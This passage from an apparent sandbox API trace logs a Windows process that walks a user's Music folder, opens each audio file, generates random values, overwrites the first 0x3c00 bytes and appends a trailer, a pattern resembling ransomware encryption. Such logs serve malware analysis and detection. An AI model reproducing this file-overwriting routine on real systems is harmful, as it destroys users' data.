ftCreationTime.dwLowDateTime=0xbd3639f0, ftCreationTime.dwHighDateTime=0x1d5e02f, ftLastAccessTime.dwLowDateTime=0x976f5bf0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x976f5bf0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x359d, dwReserved0=0x0, dwReserved1=0x0, cFileName="C4mSE_pFWCuIY3rrk.m4a", cAlternateFileName="C4MSE_~1.M4A")) returned 1 [0226.988] wcscmp (_String1="C4mSE_pFWCuIY3rrk.m4a", _String2=".") returned 1 [0226.988] wcscmp (_String1="C4mSE_pFWCuIY3rrk.m4a", _String2="..") returned 1 [0226.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202adb80 [0226.989] wcscpy (in: _Dest=0x202adb80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0226.989] wcscat (in: _Dest=0x202adb80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0226.989] wcscat (in: _Dest=0x202adb80, _Source="C4mSE_pFWCuIY3rrk.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\C4mSE_pFWCuIY3rrk.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\C4mSE_pFWCuIY3rrk.m4a" [0226.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f3c [0226.994] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ff1030, ftCreationTime.dwHighDateTime=0x1d5e525, ftLastAccessTime.dwLowDateTime=0xeb839180, ftLastAccessTime.dwHighDateTime=0x1d5d84c, ftLastWriteTime.dwLowDateTime=0xeb839180, ftLastWriteTime.dwHighDateTime=0x1d5d84c, nFileSizeHigh=0x0, nFileSizeLow=0xd581, dwReserved0=0x0, dwReserved1=0x0, cFileName="g5yMcmTK7rFB5b6uEA6.wav", cAlternateFileName="G5YMCM~1.WAV")) returned 1 [0226.994] wcscmp (_String1="g5yMcmTK7rFB5b6uEA6.wav", _String2=".") returned 1 [0226.994] wcscmp (_String1="g5yMcmTK7rFB5b6uEA6.wav", _String2="..") returned 1 [0226.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4311ade0 [0226.995] wcscpy (in: _Dest=0x4311ade0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0226.995] wcscat (in: _Dest=0x4311ade0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0226.995] wcscat (in: _Dest=0x4311ade0, _Source="g5yMcmTK7rFB5b6uEA6.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\g5yMcmTK7rFB5b6uEA6.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\g5yMcmTK7rFB5b6uEA6.wav" [0226.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4311ade0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1778 [0227.000] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14afd860, ftCreationTime.dwHighDateTime=0x1d5d92a, ftLastAccessTime.dwLowDateTime=0xd2a445d0, ftLastAccessTime.dwHighDateTime=0x1d5e6c3, ftLastWriteTime.dwLowDateTime=0xd2a445d0, ftLastWriteTime.dwHighDateTime=0x1d5e6c3, nFileSizeHigh=0x0, nFileSizeLow=0x15488, dwReserved0=0x0, dwReserved1=0x0, cFileName="gF9GAN_PHiZ0N4xmvD.m4a", cAlternateFileName="GF9GAN~1.M4A")) returned 1 [0227.000] wcscmp (_String1="gF9GAN_PHiZ0N4xmvD.m4a", _String2=".") returned 1 [0227.000] wcscmp (_String1="gF9GAN_PHiZ0N4xmvD.m4a", _String2="..") returned 1 [0227.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431a76f0 [0227.001] wcscpy (in: _Dest=0x431a76f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0227.001] wcscat (in: _Dest=0x431a76f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0227.001] wcscat (in: _Dest=0x431a76f0, _Source="gF9GAN_PHiZ0N4xmvD.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\gF9GAN_PHiZ0N4xmvD.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\gF9GAN_PHiZ0N4xmvD.m4a" [0227.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431a76f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ea0 [0227.004] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8320b760, ftCreationTime.dwHighDateTime=0x1d5e253, ftLastAccessTime.dwLowDateTime=0x2dc16810, ftLastAccessTime.dwHighDateTime=0x1d5e6d5, ftLastWriteTime.dwLowDateTime=0x2dc16810, ftLastWriteTime.dwHighDateTime=0x1d5e6d5, nFileSizeHigh=0x0, nFileSizeLow=0x140c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kqvU9EjIdBUUC.mp3", cAlternateFileName="KQVU9E~1.MP3")) returned 1 [0227.005] wcscmp (_String1="kqvU9EjIdBUUC.mp3", _String2=".") returned 1 [0227.005] wcscmp (_String1="kqvU9EjIdBUUC.mp3", _String2="..") returned 1 [0227.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431a7b10 [0227.005] wcscpy (in: _Dest=0x431a7b10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0227.005] wcscat (in: _Dest=0x431a7b10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0227.005] wcscat (in: _Dest=0x431a7b10, _Source="kqvU9EjIdBUUC.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\kqvU9EjIdBUUC.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\kqvU9EjIdBUUC.mp3" [0227.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431a7b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe28 [0227.006] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c4cb0, ftCreationTime.dwHighDateTime=0x1d5dd9c, ftLastAccessTime.dwLowDateTime=0xf1df53f0, ftLastAccessTime.dwHighDateTime=0x1d5df15, ftLastWriteTime.dwLowDateTime=0xf1df53f0, ftLastWriteTime.dwHighDateTime=0x1d5df15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uf cT10atNI64", cAlternateFileName="UFCT10~1")) returned 1 [0227.006] wcscmp (_String1="uf cT10atNI64", _String2=".") returned 1 [0227.006] wcscmp (_String1="uf cT10atNI64", _String2="..") returned 1 [0227.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c5ee0 [0227.006] wcscpy (in: _Dest=0x431c5ee0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0227.006] wcscat (in: _Dest=0x431c5ee0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0227.006] wcscat (in: _Dest=0x431c5ee0, _Source="uf cT10atNI64" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64" [0227.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431c5ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0227.007] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c4cb0, ftCreationTime.dwHighDateTime=0x1d5dd9c, ftLastAccessTime.dwLowDateTime=0xf1df53f0, ftLastAccessTime.dwHighDateTime=0x1d5df15, ftLastWriteTime.dwLowDateTime=0xf1df53f0, ftLastWriteTime.dwHighDateTime=0x1d5df15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uf cT10atNI64", cAlternateFileName="UFCT10~1")) returned 0 [0227.007] FindClose (in: hFindFile=0x1cd9da30 | out: hFindFile=0x1cd9da30) returned 1 [0227.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501b70) returned 1 [0227.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0227.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a470) returned 1 Thread: id = 2135 os_tid = 0x14e0 [0139.567] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\X_HZADR4CInu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\x_hzadr4cinu.mp3")) returned 0x20 [0139.567] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\X_HZADR4CInu.mp3", dwFileAttributes=0x20) returned 1 [0139.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\X_HZADR4CInu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\x_hzadr4cinu.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bac [0139.568] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x394bfe00 | out: lpFileSize=0x394bfe00*=34072) returned 1 [0139.568] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x8514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.568] ReadFile (in: hFile=0x1bac, lpBuffer=0x394bfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x394bfdc8, lpOverlapped=0x0 | out: lpBuffer=0x394bfd80*, lpNumberOfBytesRead=0x394bfdc8*=0x4, lpOverlapped=0x0) returned 1 [0139.569] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0139.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0139.570] NtQuerySystemTime (in: CurrentTime=0x394bfcc0 | out: CurrentTime=0x394bfcc0*=132462177448066000) returned 0x0 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x639eb1a2 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x370b8f65 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x7cea5161 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x51af5b2e [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x7267a6da [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x2d37353e [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x296845e8 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x6bef641a [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x2b70f8a4 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0xa729604 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x3a7c2547 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x579ac891 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x254e4e54 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x15c5311c [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x732e6f5f [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x616d3e53 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x9002caf [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x62f9a251 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x441b57a5 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x212feaa2 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x169f860f [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x19c02366 [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x7bb56c1b [0139.570] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x73486950 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x6000a651 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x7032c197 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x27b9c709 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x68c892b2 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x206def7 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x6267754 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x38a71db9 [0139.571] RtlRandomEx (in: Seed=0x394bfcb0 | out: Seed=0x394bfcb0) returned 0x6da46e15 [0139.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b670 [0139.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0139.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0139.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0139.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42161180 [0139.581] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.581] ReadFile (in: hFile=0x1bac, lpBuffer=0x42161180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x394bfd20, lpOverlapped=0x0 | out: lpBuffer=0x42161180*, lpNumberOfBytesRead=0x394bfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0139.581] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0139.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab6d0) returned 1 [0139.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42164d90 [0139.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab6d0 [0139.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0139.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0139.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.583] WriteFile (in: hFile=0x1bac, lpBuffer=0x42164d90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x394bfd20, lpOverlapped=0x0 | out: lpBuffer=0x42164d90*, lpNumberOfBytesWritten=0x394bfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0139.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42164d90) returned 1 [0139.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42161180) returned 1 [0139.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda01f0 [0139.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0139.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0139.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0230 [0139.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0139.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x168120 [0139.588] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0139.588] WriteFile (in: hFile=0x1bac, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x394bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x394bfdd0*=0x112, lpOverlapped=0x0) returned 1 [0139.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd977b0 [0139.592] sprintf (in: _Dest=0x1cd977b0, _Format="%c%c" | out: _Dest="00") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977b2, _Format="%c%c" | out: _Dest="b7") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977b4, _Format="%c%c" | out: _Dest="38") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977b6, _Format="%c%c" | out: _Dest="91") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977b8, _Format="%c%c" | out: _Dest="a4") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977ba, _Format="%c%c" | out: _Dest="4a") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977bc, _Format="%c%c" | out: _Dest="24") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977be, _Format="%c%c" | out: _Dest="16") returned 2 [0139.592] sprintf (in: _Dest=0x1cd977c0, _Format="%c%c" | out: _Dest="20") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977c2, _Format="%c%c" | out: _Dest="1b") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977c4, _Format="%c%c" | out: _Dest="97") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977c6, _Format="%c%c" | out: _Dest="8a") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977c8, _Format="%c%c" | out: _Dest="ee") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977ca, _Format="%c%c" | out: _Dest="57") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977cc, _Format="%c%c" | out: _Dest="c8") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977ce, _Format="%c%c" | out: _Dest="8c") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977d0, _Format="%c%c" | out: _Dest="73") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977d2, _Format="%c%c" | out: _Dest="e7") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977d4, _Format="%c%c" | out: _Dest="4f") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977d6, _Format="%c%c" | out: _Dest="d2") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977d8, _Format="%c%c" | out: _Dest="7d") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977da, _Format="%c%c" | out: _Dest="de") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977dc, _Format="%c%c" | out: _Dest="74") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977de, _Format="%c%c" | out: _Dest="94") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977e0, _Format="%c%c" | out: _Dest="c0") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977e2, _Format="%c%c" | out: _Dest="92") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977e4, _Format="%c%c" | out: _Dest="cd") returned 2 [0139.593] sprintf (in: _Dest=0x1cd977e6, _Format="%c%c" | out: _Dest="0d") returned 2 [0139.594] sprintf (in: _Dest=0x1cd977e8, _Format="%c%c" | out: _Dest="c6") returned 2 [0139.594] sprintf (in: _Dest=0x1cd977ea, _Format="%c%c" | out: _Dest="1f") returned 2 [0139.594] sprintf (in: _Dest=0x1cd977ec, _Format="%c%c" | out: _Dest="17") returned 2 [0139.594] sprintf (in: _Dest=0x1cd977ee, _Format="%c%c" | out: _Dest="8d") returned 2 [0139.594] RtlInitAnsiString (in: DestinationString=0x394bfe48, SourceString="00b73891a44a2416201b978aee57c88c73e74fd27dde7494c092cd0dc61f178d" | out: DestinationString="00b73891a44a2416201b978aee57c88c73e74fd27dde7494c092cd0dc61f178d") [0139.594] RtlAnsiStringToUnicodeString (in: DestinationString=0x394bfe18, SourceString="00b73891a44a2416201b978aee57c88c73e74fd27dde7494c092cd0dc61f178d", AllocateDestinationString=1 | out: DestinationString="00b73891a44a2416201b978aee57c88c73e74fd27dde7494c092cd0dc61f178d") returned 0x0 [0139.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85bac0 [0139.594] RtlFreeAnsiString (AnsiString="0") [0139.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0139.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0230) returned 1 [0139.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0139.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda01f0) returned 1 [0139.595] RtlFreeHeap 